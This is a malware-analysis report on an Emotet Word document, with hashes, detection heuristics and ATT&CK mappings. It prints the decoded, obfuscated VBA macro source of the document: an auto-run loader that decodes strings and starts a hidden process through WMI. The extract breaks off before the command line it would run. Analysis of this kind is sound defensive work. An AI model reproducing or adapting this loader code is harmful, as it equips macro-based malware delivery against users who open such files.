Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 25e187d3fbbb75a0…

MALICIOUS

Office (OLE)

226.8 KB Created: 2020-08-11 06:32:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: d1cda4cdeddb218ccc065ea7889c8f7a SHA-1: b780a6da43cd798bb165f8dfc5c28a063777d58d SHA-256: 25e187d3fbbb75a088371fa39be0269a26df239b04c3cdd4e6e37dc76eedfcb7
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' specifically points to this technique. The ClamAV detection also confirms its malicious nature and suggests the Emotet family. The VBA script appears to be obfuscated but its structure and the presence of auto-execution elements strongly suggest it's designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9266816-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9266816-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4366 bytes
SHA-256: b2dc4ef4f006247be17f389b85206f1f7a8207c9209808aa2d087a96fbdcb35f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "QZYUNubqpcdo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
WXWOVoifmvrnnrgc.JFZMOsuqzxnh
End Sub


Attribute VB_Name = "WXWOVoifmvrnnrgc"
Attribute VB_Base = "0{6F49D32F-C804-4F11-A040-CF0DBC01FF22}{1AA45F8D-10A0-498C-A5CD-14834258E4ED}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function JFZMOsuqzxnh()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
MQZJCcliypsbtgfhmyd = WXWOVoifmvrnnrgc.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
UDWYRfhayfmsotmxtcs = ChrW(MQZJCcliypsbtgfhmyd + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
TGOMQxlvdbsnqnt = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + UDWYRfhayfmsotmxtcs + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + WXWOVoifmvrnnrgc.GHCGRkjialhdfuezff + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
OCEKYerxcbayanaxflu = BEPUCdcxenqk(TGOMQxlvdbsnqnt)
Dim JtF1ÔVIsgfW As Variant
Set UOIXFbrndordprq = CreateObject(OCEKYerxcbayanaxflu)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
XSIPRjctasguhb = WXWOVoifmvrnnrgc.WAWZPcprdyxjyhknjy.ControlTipText
Dim aKHZFGTowB As Currency
GEIDJzqiqxetkdmrd = m2m3b5 + (OCEKYerxcbayanaxflu + UDWYRfhayfmsotmxtcs + WXWOVoifmvrnnrgc.JQSOLsyademfpt.ControlTipText + XSIPRjctasguhb)
Dim fIspInaCW As String
JWSRFjrmbdlhshenxw = GEIDJzqiqxetkdmrd + WXWOVoifmvrnnrgc.GHCGRkjialhdfuezff
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set SQOSLkqtfnctffstyg = NZYZBnlkijimg(JWSRFjrmbdlhshenxw)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", UOIXFbrndordprq. _
Create(LPEZBuespjxqskc, XZAQJjhrqvkwod, SQOSLkqtfnctffstyg), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function LPEZBuespjxqskc()
n21bh3 = WXWOVoifmvrnnrgc.IYIORtcwagtoczhndve.Pages(vbOK).Caption
LPEZBuespjxqskc = BEPUCdcxenqk(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function NZYZBnlkijimg(ODUGLegugjkpownuet)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set NZYZBnlkijimg = CreateObject(ODUGLegugjkpownuet)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
NZYZBnlkijimg. _
showwindow = YBXHAiteprmuiauvzky + XYYJHbtokfkqzojfiy
Dim UMbU As Object
End Function
Function BEPUCdcxenqk(DEQWMbsmnhbaxji)
MJWFPzrcerjbcopzd = DEQWMbsmnhbaxji
Dim ZvdC As Currency
YDYTToplyoxneosnd = Split _
(MJWFPzrcerjbcopzd, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
LIWVLbgdpfjvdooovqu = mmm2 + Join(YDYTToplyoxneosnd, msnj2)
Dim r4áAANis
... (truncated)

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